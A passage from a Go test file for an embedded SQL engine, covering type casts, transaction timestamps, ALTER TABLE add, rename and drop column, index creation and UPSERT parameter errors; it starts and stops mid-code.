_, err = engine.Exec(\n\t\t\tcontext.Background(),\n\t\t\tnil,\n\t\t\t\"INSERT INTO float_table(ft) VALUES(CAST('not a float' AS FLOAT))\",\n\t\t\tnil)\n\t\trequire.ErrorIs(t, err, ErrUnsupportedCast)\n\n\t\t_, _, err = engine.Exec(\n\t\t\tcontext.Background(),\n\t\t\tnil,\n\t\t\t\"INSERT INTO float_table(ft) VALUES(CAST(@ft AS FLOAT))\",\n\t\t\tmap[string]interface{}{\n\t\t\t\t\"ft\": strings.Repeat(\"long string \", 1000),\n\t\t\t})\n\t\trequire.ErrorIs(t, err, ErrUnsupportedCast)\n\t})\n\n}\n\nfunc TestNumericCasts(t *testing.T) {\n\tengine := setupCommonTest(t)\n\n\t_, _, err := engine.Exec(\n\t\tcontext.Background(),\n\t\tnil,\n\t\t`\n\t\t\tCREATE TABLE IF NOT EXISTS numeric_table (id INTEGER AUTO_INCREMENT, quantity INTEGER, price FLOAT, PRIMARY KEY id);\n\t\t\tCREATE INDEX ON numeric_table(quantity);\n\t\t\tCREATE INDEX ON numeric_table(price);\n\t\t\tCREATE INDEX ON numeric_table(quantity, price);\n\t\t`,\n\t\tnil)\n\trequire.NoError(t, err)\n\n\tfor _, d := range []struct {\n\t\tq interface{}\n\t\tp interface{}\n\t}{\n\t\t{10, 0.5},\n\t\t{1.5, 7},\n\t\t{nil, nil},\n\t} {\n\t\tparams := make(map[string]interface{})\n\t\tparams[\"q\"] = d.q\n\t\tparams[\"p\"] = d.p\n\n\t\tt.Run(\"insert row with numeric casting\", func(t *testing.T) {\n\t\t\t_, _, err = engine.Exec(\n\t\t\t\tcontext.Background(),\n\t\t\t\tnil,\n\t\t\t\t\"INSERT INTO numeric_table(quantity, price) VALUES(CAST(@q AS INTEGER), CAST(@p AS FLOAT))\",\n\t\t\t\tparams,\n\t\t\t)\n\t\t\trequire.NoError(t, err)\n\n\t\t\tr, err := engine.Query(\n\t\t\t\tcontext.Background(),\n\t\t\t\tnil,\n\t\t\t\t\"SELECT quantity, price FROM numeric_table ORDER BY id DESC LIMIT 1\",\n\t\t\t\tnil)\n\t\t\trequire.NoError(t, err)\n\t\t\tdefer r.Close()\n\n\t\t\trow, err := r.Read(context.Background())\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Equal(t, IntegerType, row.ValuesByPosition[0].Type())\n\t\t\trequire.Equal(t, Float64Type, row.ValuesByPosition[1].Type())\n\t\t})\n\n\t\tt.Run(\"insert row with implicit numeric casting\", func(t *testing.T) {\n\t\t\t_, _, err = engine.Exec(\n\t\t\t\tcontext.Background(),\n\t\t\t\tnil,\n\t\t\t\t\"INSERT INTO numeric_table(quantity, price) VALUES(@q, @p)\",\n\t\t\t\tparams,\n\t\t\t)\n\t\t\trequire.NoError(t, err)\n\n\t\t\tr, err := engine.Query(\n\t\t\t\tcontext.Background(),\n\t\t\t\tnil,\n\t\t\t\t\"SELECT quantity, price FROM numeric_table ORDER BY id DESC LIMIT 1\",\n\t\t\t\tnil)\n\t\t\trequire.NoError(t, err)\n\t\t\tdefer r.Close()\n\n\t\t\trow, err := r.Read(context.Background())\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Equal(t, IntegerType, row.ValuesByPosition[0].Type())\n\t\t\trequire.Equal(t, Float64Type, row.ValuesByPosition[1].Type())\n\t\t})\n\t}\n}\n\nfunc TestNowFunctionEvalsToTxTimestamp(t *testing.T) {\n\tengine := setupCommonTest(t)\n\n\t_, _, err := engine.Exec(\n\t\tcontext.Background(), nil, \"CREATE TABLE tx_timestamp (id INTEGER AUTO_INCREMENT, ts TIMESTAMP, PRIMARY KEY id)\", nil)\n\trequire.NoError(t, err)\n\n\tcurrentTs := time.Now()\n\n\tfor it := 0; it < 3; it++ {\n\t\ttime.Sleep(1 * time.Microsecond)\n\n\t\t_, _, err := engine.Exec(context.Background(), nil, \"BEGIN TRANSACTION; ROLLBACK;\", nil)\n\t\trequire.NoError(t, err)\n\n\t\ttx, _, err := engine.Exec(context.Background(), nil, \"BEGIN TRANSACTION;\", nil)\n\t\trequire.NoError(t, err)\n\n\t\trequire.True(t, tx.Timestamp().After(currentTs))\n\n\t\trowCount := 10\n\n\t\tfor i := 0; i < rowCount; i++ {\n\t\t\t_, _, err = engine.Exec(context.Background(), tx, \"INSERT INTO tx_timestamp(ts) VALUES (NOW()), (NOW())\", nil)\n\t\t\trequire.NoError(t, err)\n\t\t}\n\n\t\tr, err := engine.Query(context.Background(), tx, \"SELECT * FROM tx_timestamp WHERE ts = @ts\", map[string]interface{}{\"ts\": tx.Timestamp()})\n\t\trequire.NoError(t, err)\n\t\tdefer r.Close()\n\n\t\tfor i := 0; i < rowCount*2; i++ {\n\t\t\trow, err := r.Read(context.Background())\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.EqualValues(t, tx.Timestamp(), row.ValuesBySelector[EncodeSelector(\"\", \"tx_timestamp\", \"ts\")].RawValue())\n\t\t}\n\n\t\t_, err = r.Read(context.Background())\n\t\trequire.ErrorIs(t, err, ErrNoMoreRows)\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), tx, \"COMMIT;\", nil)\n\t\trequire.NoError(t, err)\n\n\t\tcurrentTs = tx.Timestamp()\n\t}\n}\n\nfunc TestAddColumn(t *testing.T) {\n\tdir := t.TempDir()\n\n\tt.Run(\"create-store\", func(t *testing.T) {\n\t\tst, err := store.Open(dir, store.DefaultOptions().WithMultiIndexing(true))\n\t\trequire.NoError(t, err)\n\t\tdefer closeStore(t, st)\n\n\t\tengine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix))\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE TABLE table1 (name VARCHAR, PRIMARY KEY id)\", nil)\n\t\trequire.ErrorIs(t, err, ErrColumnDoesNotExist)\n\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE TABLE table1 (id INTEGER AUTO_INCREMENT, name VARCHAR, PRIMARY KEY id)\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"INSERT INTO table1(name, surname) VALUES('John', 'Smith')\", nil)\n\t\trequire.ErrorIs(t, err, ErrColumnDoesNotExist)\n\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"ALTER TABLE table1 ADD COLUMN int INTEGER AUTO_INCREMENT\", nil)\n\t\trequire.ErrorIs(t, err, ErrLimitedAutoIncrement)\n\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"ALTER TABLE table1 ADD COLUMN surname VARCHAR NOT NULL\", nil)\n\t\trequire.ErrorIs(t, err, ErrNewColumnMustBeNullable)\n\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"ALTER TABLE table2 ADD COLUMN surname VARCHAR\", nil)\n\t\trequire.ErrorIs(t, err, ErrTableDoesNotExist)\n\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"ALTER TABLE table1 ADD COLUMN value INTEGER[100]\", nil)\n\t\trequire.ErrorIs(t, err, ErrLimitedMaxLen)\n\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"ALTER TABLE table1 ADD COLUMN surname VARCHAR\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"ALTER TABLE table1 ADD COLUMN surname VARCHAR\", nil)\n\t\trequire.ErrorIs(t, err, ErrColumnAlreadyExists)\n\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"INSERT INTO table1(name, surname) VALUES('John', 'Smith')\", nil)\n\t\trequire.NoError(t, err)\n\n\t\tres, err := engine.Query(context.Background(), nil, \"SELECT id, name, surname FROM table1\", nil)\n\t\trequire.NoError(t, err)\n\n\t\trow, err := res.Read(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\trequire.EqualValues(t, 1, row.ValuesByPosition[0].RawValue())\n\t\trequire.EqualValues(t, \"John\", row.ValuesByPosition[1].RawValue())\n\t\trequire.EqualValues(t, \"Smith\", row.ValuesByPosition[2].RawValue())\n\n\t\t_, err = res.Read(context.Background())\n\t\trequire.ErrorIs(t, err, ErrNoMoreRows)\n\n\t\terr = res.Close()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"reopen-store\", func(t *testing.T) {\n\t\tst, err := store.Open(dir, store.DefaultOptions().WithMultiIndexing(true))\n\t\trequire.NoError(t, err)\n\t\tdefer closeStore(t, st)\n\n\t\tengine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix))\n\t\trequire.NoError(t, err)\n\n\t\tres, err := engine.Query(context.Background(), nil, \"SELECT id, name, surname FROM table1\", nil)\n\t\trequire.NoError(t, err)\n\n\t\trow, err := res.Read(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\trequire.EqualValues(t, 1, row.ValuesByPosition[0].RawValue())\n\t\trequire.EqualValues(t, \"John\", row.ValuesByPosition[1].RawValue())\n\t\trequire.EqualValues(t, \"Smith\", row.ValuesByPosition[2].RawValue())\n\n\t\t_, err = res.Read(context.Background())\n\t\trequire.ErrorIs(t, err, ErrNoMoreRows)\n\n\t\terr = res.Close()\n\t\trequire.NoError(t, err)\n\t})\n}\n\nfunc TestRenaming(t *testing.T) {\n\tdir := t.TempDir()\n\n\tt.Run(\"create-store\", func(t *testing.T) {\n\t\tst, err := store.Open(dir, store.DefaultOptions().WithMultiIndexing(true))\n\t\trequire.NoError(t, err)\n\t\tdefer closeStore(t, st)\n\n\t\tengine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix))\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"ALTER TABLE table1 RENAME TO table11\", nil)\n\t\trequire.ErrorIs(t, err, ErrTableDoesNotExist)\n\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE TABLE table11 (id INTEGER AUTO_INCREMENT, name VARCHAR[50], PRIMARY KEY id)\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE INDEX ON table11(name)\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"ALTER TABLE table11 RENAME TO table1\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"INSERT INTO table1(name) VALUES('John'), ('Sylvia'), ('Robocop') \", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"ALTER TABLE table1 RENAME COLUMN name TO name\", nil)\n\t\trequire.ErrorIs(t, err, ErrSameOldAndNewNames)\n\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"ALTER TABLE table1 RENAME COLUMN name TO id\", nil)\n\t\trequire.ErrorIs(t, err, ErrColumnAlreadyExists)\n\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"ALTER TABLE table2 RENAME COLUMN name TO surname\", nil)\n\t\trequire.ErrorIs(t, err, ErrTableDoesNotExist)\n\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"ALTER TABLE table1 RENAME COLUMN surname TO name\", nil)\n\t\trequire.ErrorIs(t, err, ErrColumnDoesNotExist)\n\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"ALTER TABLE table1 RENAME COLUMN name TO surname\", nil)\n\t\trequire.NoError(t, err)\n\n\t\tres, err := engine.Query(context.Background(), nil, \"SELECT id, surname FROM table1 ORDER BY surname\", nil)\n\t\trequire.NoError(t, err)\n\n\t\trow, err := res.Read(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\trequire.EqualValues(t, 1, row.ValuesByPosition[0].RawValue())\n\t\trequire.EqualValues(t, \"John\", row.ValuesByPosition[1].RawValue())\n\n\t\trow, err = res.Read(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\trequire.EqualValues(t, 3, row.ValuesByPosition[0].RawValue())\n\t\trequire.EqualValues(t, \"Robocop\", row.ValuesByPosition[1].RawValue())\n\n\t\trow, err = res.Read(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\trequire.EqualValues(t, 2, row.ValuesByPosition[0].RawValue())\n\t\trequire.EqualValues(t, \"Sylvia\", row.ValuesByPosition[1].RawValue())\n\n\t\t_, err = res.Read(context.Background())\n\t\trequire.ErrorIs(t, err, ErrNoMoreRows)\n\n\t\terr = res.Close()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"reopen-store\", func(t *testing.T) {\n\t\tst, err := store.Open(dir, store.DefaultOptions().WithMultiIndexing(true))\n\t\trequire.NoError(t, err)\n\t\tdefer closeStore(t, st)\n\n\t\tengine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix))\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"ALTER TABLE table1 RENAME TO table1\", nil)\n\t\trequire.ErrorIs(t, err, ErrSameOldAndNewNames)\n\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"ALTER TABLE table1 RENAME TO table11\", nil)\n\t\trequire.NoError(t, err)\n\n\t\tres, err := engine.Query(context.Background(), nil, \"SELECT id, surname FROM table11 ORDER BY surname\", nil)\n\t\trequire.NoError(t, err)\n\n\t\trow, err := res.Read(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\trequire.EqualValues(t, 1, row.ValuesByPosition[0].RawValue())\n\t\trequire.EqualValues(t, \"John\", row.ValuesByPosition[1].RawValue())\n\n\t\trow, err = res.Read(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\trequire.EqualValues(t, 3, row.ValuesByPosition[0].RawValue())\n\t\trequire.EqualValues(t, \"Robocop\", row.ValuesByPosition[1].RawValue())\n\n\t\trow, err = res.Read(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\trequire.EqualValues(t, 2, row.ValuesByPosition[0].RawValue())\n\t\trequire.EqualValues(t, \"Sylvia\", row.ValuesByPosition[1].RawValue())\n\n\t\t_, err = res.Read(context.Background())\n\t\trequire.ErrorIs(t, err, ErrNoMoreRows)\n\n\t\terr = res.Close()\n\t\trequire.NoError(t, err)\n\t})\n}\n\nfunc TestAlterTableDropColumn(t *testing.T) {\n\tpath := t.TempDir()\n\n\tdefer os.RemoveAll(path)\n\n\tt.Run(\"create-store\", func(t *testing.T) {\n\t\tst, err := store.Open(path, store.DefaultOptions().WithMultiIndexing(true))\n\t\trequire.NoError(t, err)\n\t\tdefer func() { require.NoError(t, st.Close()) }()\n\n\t\tengine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix))\n\t\trequire.NoError(t, err)\n\n\t\tt.Run(\"create initial table\", func(t *testing.T) {\n\t\t\t_, _, err = engine.Exec(\n\t\t\t\tcontext.Background(),\n\t\t\t\tnil,\n\t\t\t\t`\n\t\t\t\tCREATE TABLE table1 (\n\t\t\t\t\tid INTEGER AUTO_INCREMENT,\n\t\t\t\t\tactive BOOLEAN,\n\t\t\t\t\tname VARCHAR[50],\n\t\t\t\t\tsurname VARCHAR[50],\n\t\t\t\t\tage INTEGER,\n\t\t\t\t\tPRIMARY KEY (id)\n\t\t\t\t)`, nil)\n\t\t\trequire.NoError(t, err)\n\n\t\t\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE INDEX ON table1(name)\", nil)\n\t\t\trequire.NoError(t, err)\n\n\t\t\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE UNIQUE INDEX ON table1(name, surname)\", nil)\n\t\t\trequire.NoError(t, err)\n\n\t\t\t_, _, err = engine.Exec(\n\t\t\t\tcontext.Background(), nil,\n\t\t\t\t`\n\t\t\t\tINSERT INTO table1(name, surname, active, age)\n\t\t\t\tVALUES\n\t\t\t\t\t('John', 'Smith', true, 42),\n\t\t\t\t\t('Sylvia', 'Smith', true, 27),\n\t\t\t\t\t('Robo', 'Cop', false, 101)\n\t\t\t\t`, nil)\n\t\t\trequire.NoError(t, err)\n\t\t})\n\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"DROP INDEX ON table1(id)\", nil)\n\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t\tt.Run(\"fail to drop indexed from table that does not exist\", func(t *testing.T) {\n\t\t\t_, _, err = engine.Exec(context.Background(), nil, \"ALTER TABLE table2 DROP COLUMN active\", nil)\n\t\t\trequire.ErrorIs(t, err, ErrTableDoesNotExist)\n\t\t})\n\n\t\tt.Run(\"fail to drop indexed columns\", func(t *testing.T) {\n\t\t\t_, _, err = engine.Exec(context.Background(), nil, \"ALTER TABLE table1 DROP COLUMN id\", nil)\n\t\t\trequire.ErrorIs(t, err, ErrCannotDropColumn)\n\n\t\t\t_, _, err = engine.Exec(context.Background(), nil, \"ALTER TABLE table1 DROP COLUMN name\", nil)\n\t\t\trequire.ErrorIs(t, err, ErrCannotDropColumn)\n\n\t\t\t_, _, err = engine.Exec(context.Background(), nil, \"ALTER TABLE table1 DROP COLUMN surname\", nil)\n\t\t\trequire.ErrorIs(t, err, ErrCannotDropColumn)\n\t\t})\n\n\t\tt.Run(\"fail to drop columns that does not exist\", func(t *testing.T) {\n\t\t\t_, _, err = engine.Exec(context.Background(), nil, \"ALTER TABLE table1 DROP COLUMN nonexistent\", nil)\n\t\t\trequire.ErrorIs(t, err, ErrColumnDoesNotExist)\n\t\t})\n\n\t\tt.Run(\"drop column in the middle\", func(t *testing.T) {\n\t\t\t_, _, err = engine.Exec(context.Background(), nil, \"ALTER TABLE table1 DROP COLUMN active\", nil)\n\t\t\trequire.NoError(t, err)\n\n\t\t\t_, _, err = engine.Exec(context.Background(), nil, \"ALTER TABLE table1 ADD COLUMN deprecated BOOLEAN\", nil)\n\t\t\trequire.NoError(t, err)\n\n\t\t\ttx, err := engine.NewTx(context.Background(), DefaultTxOptions())\n\t\t\trequire.NoError(t, err)\n\n\t\t\tcatTable, err := tx.catalog.GetTableByName(\"table1\")\n\t\t\trequire.NoError(t, err)\n\n\t\t\trequire.Len(t, catTable.cols, 5)\n\t\t\trequire.Len(t, catTable.colsByID, 5)\n\t\t\trequire.Len(t, catTable.colsByName, 5)\n\t\t\trequire.EqualValues(t, catTable.maxColID, 6)\n\n\t\t\terr = tx.Cancel()\n\t\t\trequire.NoError(t, err)\n\n\t\t\tres, err := engine.Query(context.Background(), nil, \"SELECT id, name, surname, active, age FROM table1\", nil)\n\t\t\trequire.NoError(t, err)\n\n\t\t\t_, err = res.Read(context.Background())\n\t\t\trequire.ErrorIs(t, err, ErrColumnDoesNotExist)\n\n\t\t\terr = res.Close()\n\t\t\trequire.NoError(t, err)\n\n\t\t\tres, err = engine.Query(context.Background(), nil, \"SELECT * FROM table1\", nil)\n\t\t\trequire.NoError(t, err)\n\n\t\t\tfor i := 0; i < 3; i++ {\n\t\t\t\trow, err := res.Read(context.Background())\n\t\t\t\trequire.NoError(t, err)\n\t\t\t\trequire.Len(t, row.ValuesByPosition, 5)\n\t\t\t\trequire.Len(t, row.ValuesBySelector, 5)\n\t\t\t}\n\n\t\t\t_, err = res.Read(context.Background())\n\t\t\trequire.ErrorIs(t, err, ErrNoMoreRows)\n\n\t\t\terr = res.Close()\n\t\t\trequire.NoError(t, err)\n\t\t})\n\n\t\tt.Run(\"drop the last column\", func(t *testing.T) {\n\t\t\t_, _, err = engine.Exec(context.Background(), nil, \"DROP TABLE table11\", nil)\n\t\t\trequire.ErrorIs(t, err, ErrTableDoesNotExist)\n\n\t\t\t_, _, err = engine.Exec(context.Background(), nil, \"ALTER TABLE table11 DROP COLUMN age\", nil)\n\t\t\trequire.ErrorIs(t, err, ErrTableDoesNotExist)\n\n\t\t\t_, _, err = engine.Exec(context.Background(), nil, \"DROP INDEX ON table11(age)\", nil)\n\t\t\trequire.ErrorIs(t, err, ErrTableDoesNotExist)\n\n\t\t\t_, _, err = engine.Exec(context.Background(), nil, \"ALTER TABLE table1 DROP COLUMN age\", nil)\n\t\t\trequire.NoError(t, err)\n\n\t\t\ttx, err := engine.NewTx(context.Background(), DefaultTxOptions())\n\t\t\trequire.NoError(t, err)\n\n\t\t\tcatTable, err := tx.catalog.GetTableByName(\"table1\")\n\t\t\trequire.NoError(t, err)\n\n\t\t\trequire.Len(t, catTable.cols, 4)\n\t\t\trequire.Len(t, catTable.colsByID, 4)\n\t\t\trequire.Len(t, catTable.colsByName, 4)\n\t\t\trequire.EqualValues(t, catTable.maxColID, 6)\n\n\t\t\terr = tx.Cancel()\n\t\t\trequire.NoError(t, err)\n\n\t\t\tres, err := engine.Query(context.Background(), nil, \"SELECT id, name, surname, age FROM table1\", nil)\n\t\t\trequire.NoError(t, err)\n\n\t\t\t_, err = res.Read(context.Background())\n\t\t\trequire.ErrorIs(t, err, ErrColumnDoesNotExist)\n\n\t\t\tres.Close()\n\n\t\t\tres, err = engine.Query(context.Background(), nil, \"SELECT * FROM table1\", nil)\n\t\t\trequire.NoError(t, err)\n\n\t\t\tfor i := 0; i < 3; i++ {\n\t\t\t\trow, err := res.Read(context.Background())\n\t\t\t\trequire.NoError(t, err)\n\t\t\t\trequire.Len(t, row.ValuesByPosition, 4)\n\t\t\t\trequire.Len(t, row.ValuesBySelector, 4)\n\t\t\t}\n\n\t\t\t_, err = res.Read(context.Background())\n\t\t\trequire.ErrorIs(t, err, ErrNoMoreRows)\n\n\t\t\terr = res.Close()\n\t\t\trequire.NoError(t, err)\n\t\t})\n\n\t\tt.Run(\"adding new column must not reuse old column IDs\", func(t *testing.T) {\n\t\t\t_, _, err = engine.Exec(context.Background(), nil, \"ALTER TABLE table1 ADD COLUMN active BOOLEAN\", nil)\n\t\t\trequire.NoError(t, err)\n\n\t\t\ttx, err := engine.NewTx(context.Background(), DefaultTxOptions())\n\t\t\trequire.NoError(t, err)\n\n\t\t\tcatTable, err := tx.catalog.GetTableByName(\"table1\")\n\t\t\trequire.NoError(t, err)\n\n\t\t\trequire.Len(t, catTable.cols, 5)\n\t\t\trequire.Len(t, catTable.colsByID, 5)\n\t\t\trequire.Len(t, catTable.colsByName, 5)\n\t\t\trequire.EqualValues(t, 7, catTable.colsByName[\"active\"].id)\n\t\t\trequire.EqualValues(t, 7, catTable.maxColID)\n\n\t\t\terr = tx.Cancel()\n\t\t\trequire.NoError(t, err)\n\n\t\t\tres, err := engine.Query(context.Background(), nil, \"SELECT id, name, surname, active FROM table1\", nil)\n\t\t\trequire.NoError(t, err)\n\n\t\t\tfor i := 0; i < 3; i++ {\n\t\t\t\trow, err := res.Read(context.Background())\n\t\t\t\trequire.NoError(t, err)\n\t\t\t\trequire.Len(t, row.ValuesByPosition, 4)\n\t\t\t\trequire.Len(t, row.ValuesBySelector, 4)\n\t\t\t\trequire.Nil(t, row.ValuesBySelector[EncodeSelector(\"\", \"table1\", \"active\")].RawValue())\n\t\t\t}\n\n\t\t\t_, err = res.Read(context.Background())\n\t\t\trequire.ErrorIs(t, err, ErrNoMoreRows)\n\n\t\t\terr = res.Close()\n\t\t\trequire.NoError(t, err)\n\t\t})\n\t})\n\n\tt.Run(\"reopen-store\", func(t *testing.T) {\n\t\tst, err := store.Open(path, store.DefaultOptions().WithMultiIndexing(true))\n\t\trequire.NoError(t, err)\n\t\tdefer func() { require.NoError(t, st.Close()) }()\n\n\t\tengine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix))\n\t\trequire.NoError(t, err)\n\n\t\tres, err := engine.Query(context.Background(), nil, \"SELECT id, name, surname, active FROM table1\", nil)\n\t\trequire.NoError(t, err)\n\n\t\tfor i := 0; i < 3; i++ {\n\t\t\trow, err := res.Read(context.Background())\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Len(t, row.ValuesByPosition, 4)\n\t\t\trequire.Len(t, row.ValuesBySelector, 4)\n\t\t\trequire.Nil(t, row.ValuesBySelector[EncodeSelector(\"\", \"table1\", \"active\")].RawValue())\n\t\t}\n\n\t\t_, err = res.Read(context.Background())\n\t\trequire.ErrorIs(t, err, ErrNoMoreRows)\n\n\t\terr = res.Close()\n\t\trequire.NoError(t, err)\n\t})\n}\n\nfunc TestCreateIndex(t *testing.T) {\n\tengine := setupCommonTest(t)\n\n\t_, _, err := engine.Exec(context.Background(), nil, \"CREATE TABLE table1 (id INTEGER, name VARCHAR[256], age INTEGER, active BOOLEAN, PRIMARY KEY id)\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE INDEX ON table1(name)\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE INDEX IF NOT EXISTS ON table1(name)\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE INDEX ON table1(name)\", nil)\n\trequire.ErrorIs(t, err, ErrIndexAlreadyExists)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE INDEX ON table1(id)\", nil)\n\trequire.ErrorIs(t, err, ErrIndexAlreadyExists)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE UNIQUE INDEX IF NOT EXISTS ON table1(id)\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE INDEX ON table1(age)\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE INDEX ON table1(name)\", nil)\n\trequire.ErrorIs(t, err, ErrIndexAlreadyExists)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE INDEX ON table2(name)\", nil)\n\trequire.ErrorIs(t, err, ErrTableDoesNotExist)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE INDEX ON table1(title)\", nil)\n\trequire.ErrorIs(t, err, ErrColumnDoesNotExist)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"INSERT INTO table1(id, name, age) VALUES (1, 'name1', 50)\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"INSERT INTO table1(name, age) VALUES ('name2', 10)\", nil)\n\trequire.ErrorIs(t, err, ErrPKCanNotBeNull)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE UNIQUE INDEX ON table1(active)\", nil)\n\trequire.ErrorIs(t, err, ErrLimitedIndexCreation)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE INDEX ON table1(active)\", nil)\n\trequire.NoError(t, err)\n}\n\nfunc TestUpsertInto(t *testing.T) {\n\tst, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true))\n\trequire.NoError(t, err)\n\tdefer closeStore(t, st)\n\n\tengine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix))\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"UPSERT INTO table1 (id, title) VALUES (1, 'title1')\", nil)\n\trequire.ErrorIs(t, err, ErrTableDoesNotExist)\n\n\t_, _, err = engine.Exec(context.Background(), nil, `CREATE TABLE table1 (\n\t\t\t\t\t\t\t\tid INTEGER,\n\t\t\t\t\t\t\t\ttitle VARCHAR,\n\t\t\t\t\t\t\t\tamount INTEGER,\n\t\t\t\t\t\t\t\tactive BOOLEAN NOT NULL,\n\t\t\t\t\t\t\t\tPRIMARY KEY id)`, nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE INDEX ON table1(active)\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE UNIQUE INDEX ON table1(amount, active)\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"UPSERT INTO table1 (id, title) VALUES (1, 'title1')\", nil)\n\trequire.ErrorIs(t, err, ErrNotNullableColumnCannotBeNull)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"UPSERT INTO table1 (id, age) VALUES (1, 50)\", nil)\n\trequire.ErrorIs(t, err, ErrColumnDoesNotExist)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"UPSERT INTO table1 (id, title, active) VALUES (@id, 'title1', true)\", nil)\n\trequire.ErrorIs(t, err, ErrMissingParameter)\n\n\tparams := make(map[string]interface{}, 1)\n\tparams[\"id\"] = [4]byte{1, 2, 3, 4}\n\t_, _, err = engine.Exec(context.Background(), nil, \"UPSERT INTO table1 (id, title, active) VALUES (@id, 'title1', true)\", params)\n\trequire.ErrorIs(t, err, ErrUnsupportedParameter)\n\n\tparams = make(map[string]interface{}, 1)\n\tparams[\"id\"] = []byte{1, 2, 3}\n\t_, _, err = engine.Exec(context.Background(), nil, \"UPSERT INTO table1 (id, title, active) VALUES (@id, 'title1', true)\", params)\n\trequire.ErrorIs(t, err, ErrInvalidValue)\n\trequire.Contains(t, err.Error(), \"is not an integer\")\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"UPSERT INTO table1 (id, title, active) VALUES (1, @title, false)\", nil)\n\trequire.ErrorIs(t, err, ErrMissingParameter)\n\n\tparams = make(map[string]interface{}, 1)\n\tparams[\"title\"] = uint64(1)\n\t_, _, err = engine.Exec(context.Background(), nil, \"UPSERT INTO table1 (id, title, active) VALUES (1, @title, true)\", params)\n\trequire.ErrorIs(t, err, ErrInvalidValue)\n\trequire.Contains(t, err.Error(), \"is not a string\")\n\n\tparams = make(map[string]interface{}, 1)\n\tparams[\"title\"] = uint64(1)\n\tparams[\"Title\"] = uint64(2)\n\t_, _, err = engine.Exec(context.Background(), nil, \"UPSERT INTO table1 (id, title, active) VALUES (1, @title, true)\", params)\n\trequire.ErrorIs(t, err, ErrDuplicatedParameters)\n\n\t_, ctxs, err := engine.Exec(context.Background(), nil, \"UPSERT INTO table1 (id, amount, active) VALUES (1, 10, true)\", nil)\n\trequire.NoError(t, err)\n\trequire.Len(t, ctxs, 1)\n\trequire.Equal(t, 